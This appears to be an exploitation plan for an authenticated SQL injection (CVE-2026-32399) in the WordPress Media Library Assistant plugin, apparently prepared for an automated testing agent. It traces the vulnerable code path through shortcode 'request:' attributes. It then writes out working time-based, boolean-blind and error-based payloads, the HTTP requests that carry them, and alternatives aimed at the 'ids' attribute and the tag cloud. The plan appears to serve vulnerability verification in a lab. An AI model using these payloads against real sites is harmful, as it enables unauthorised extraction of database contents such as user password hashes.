Exploitation Research Plan - CVE-2026-32399 (Media Library Assistant)

1. Vulnerability Summary

The Media Library Assistant plugin for WordPress is vulnerable to Authenticated SQL Injection via shortcode attributes in versions up to and including 3.32. The vulnerability exists because the plugin allows users to map shortcode attributes to URL parameters using the request: prefix, but fails to sufficiently escape or prepare the resulting values before incorporating them into SQL queries. Attackers with Contributor-level permissions can use this to extract sensitive database information via time-based or error-based SQL injection.

2. Attack Vector Analysis

• Entry Point: The [mla_gallery] or [mla_tag_cloud] shortcode placed within a post or page.
• Vulnerable Feature: The request: prefix processing for shortcode attributes.
• Vulnerable Parameter: Attributes like orderby, ids, or meta_query when mapped to a request variable (e.g., orderby="request:sqli_param").
• Authentication: Authenticated (Contributor+). Contributors can create posts/pages and preview them, which triggers shortcode rendering.
• Preconditions:
  1. The attacker must have a Contributor account.
  2. The plugin must be active.
  3. At least one attachment (Media Library item) should exist to ensure the gallery logic executes.

3. Code Flow

1. Entry: A user with Contributor permissions creates a post and inserts a shortcode: [mla_gallery orderby="request:sort"].
2. Processing: When the post is previewed or viewed, MLAShortcodes::mla_gallery_shortcode() (in includes/class-mla-shortcodes.php) is triggered.
3. Attribute Mapping: The code calls MLAShortcode_Support::mla_get_shortcode_attachments() (in includes/class-mla-shortcode-support.php).
4. Request Prefix Logic: The plugin identifies the request: prefix in the orderby attribute. It retrieves the value of $_REQUEST['sort'].
5. SQL Construction: The retrieved value (e.g., ID, (SELECT SLEEP(5))) is concatenated into the SQL query or passed into a query argument array that MLA uses to build a custom query.
6. Sink: The malformed SQL is executed via $wpdb->get_results() without sufficient preparation (missing or misused wpdb->prepare()).

4. Nonce Acquisition Strategy

This vulnerability is exploited through shortcode execution on the frontend or during a post preview. Typically, no nonce is required to trigger shortcode rendering once the attacker has permissions to create/edit a post.

However, if an AJAX-based attack against mla-query-attachments is required as an alternative:

1. Identify Script: The plugin enqueues the mla-inline-edit-scripts (slug defined in MLACore::JAVASCRIPT_INLINE_EDIT_SLUG).
2. Variable Name: The localized data is typically found in the mla_inline_edit_vars object.
3. Extraction:
   • Create a post with an MLA shortcode or navigate to the Media Library.
   • Use browser_eval to extract: window.mla_inline_edit_vars?.mla_admin_nonce.
   • The action string for this nonce is MLACore::MLA_ADMIN_NONCE_ACTION (mla_admin_nonce_action).

5. Exploitation Strategy

The most direct method is using the [mla_gallery] shortcode with a time-based payload.

Step 1: Login and Content Setup

1. Authenticate as a Contributor.
2. Create a new post/page.
3. Insert the following shortcode: [mla_gallery mla_output="csv" orderby="request:sqli"].
4. Publish or Save as Draft. Note the Post ID (e.g., 123).

Step 2: Trigger SQL Injection

Send a request to the post URL with the malicious payload in the sqli parameter.

• Request:

  GET /?p=123&sqli=ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) HTTP/1.1
  Host: localhost
  Cookie: [Contributor Cookies]
  

• Payload Analysis:
  The orderby attribute will become ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a).
  The resulting SQL will look like: SELECT ... ORDER BY ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) LIMIT ....
  This is a valid SQL construct that triggers a 5-second delay.

Step 3: Data Extraction (Information Disclosure)

Use boolean-blind or error-based techniques to leak the database version or user hashes.

• Payload (Database Version):
  sqli=ID,(SELECT(IF(VERSION() LIKE '8%',SLEEP(5),0)))

6. Test Data Setup

1. User: Contributor (user: attacker, pass: password).
2. Media: Upload at least one image to the Media Library.
3. Shortcode Page:
   • Title: SQLi Test
   • Content: [mla_gallery mla_output="csv" orderby="request:inject"]

7. Expected Results

• A request to /?p=123&inject=ID should return immediately.
• A request to /?p=123&inject=ID,(SELECT(1)FROM(SELECT(SLEEP(5)))a) should take approximately 5 seconds to respond.
• If mla_output="csv" is used, the response body might contain leaked data if a UNION is possible, though ORDER BY injection usually favors time-based/boolean-blind.

8. Verification Steps

1. Check Timing: Use the http_request tool to measure the elapsed_time of the request.
2. WP-CLI check: After testing, confirm the database state is unchanged (since it's a C:H vulnerability, only reading is expected).
   • wp eval "global \$wpdb; echo \$wpdb->last_error;" (to see if recent queries logged errors).

9. Alternative Approaches

• ids Attribute: Try [mla_gallery ids="request:sqli"].
  • Payload: 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • This targets the IN clause logic in MLAShortcode_Support::mla_get_shortcode_attachments.
• mla_tag_cloud: Use [mla_tag_cloud taxonomy="attachment_tag" orderby="request:sqli"].
  • This targets the mla_get_terms function which likely handles its own database queries.
• Error-Based: Use sqli=ID,updatexml(1,concat(0x7e,version(),0x7e),1) if the site has WP_DEBUG enabled or MLA logs errors to the screen.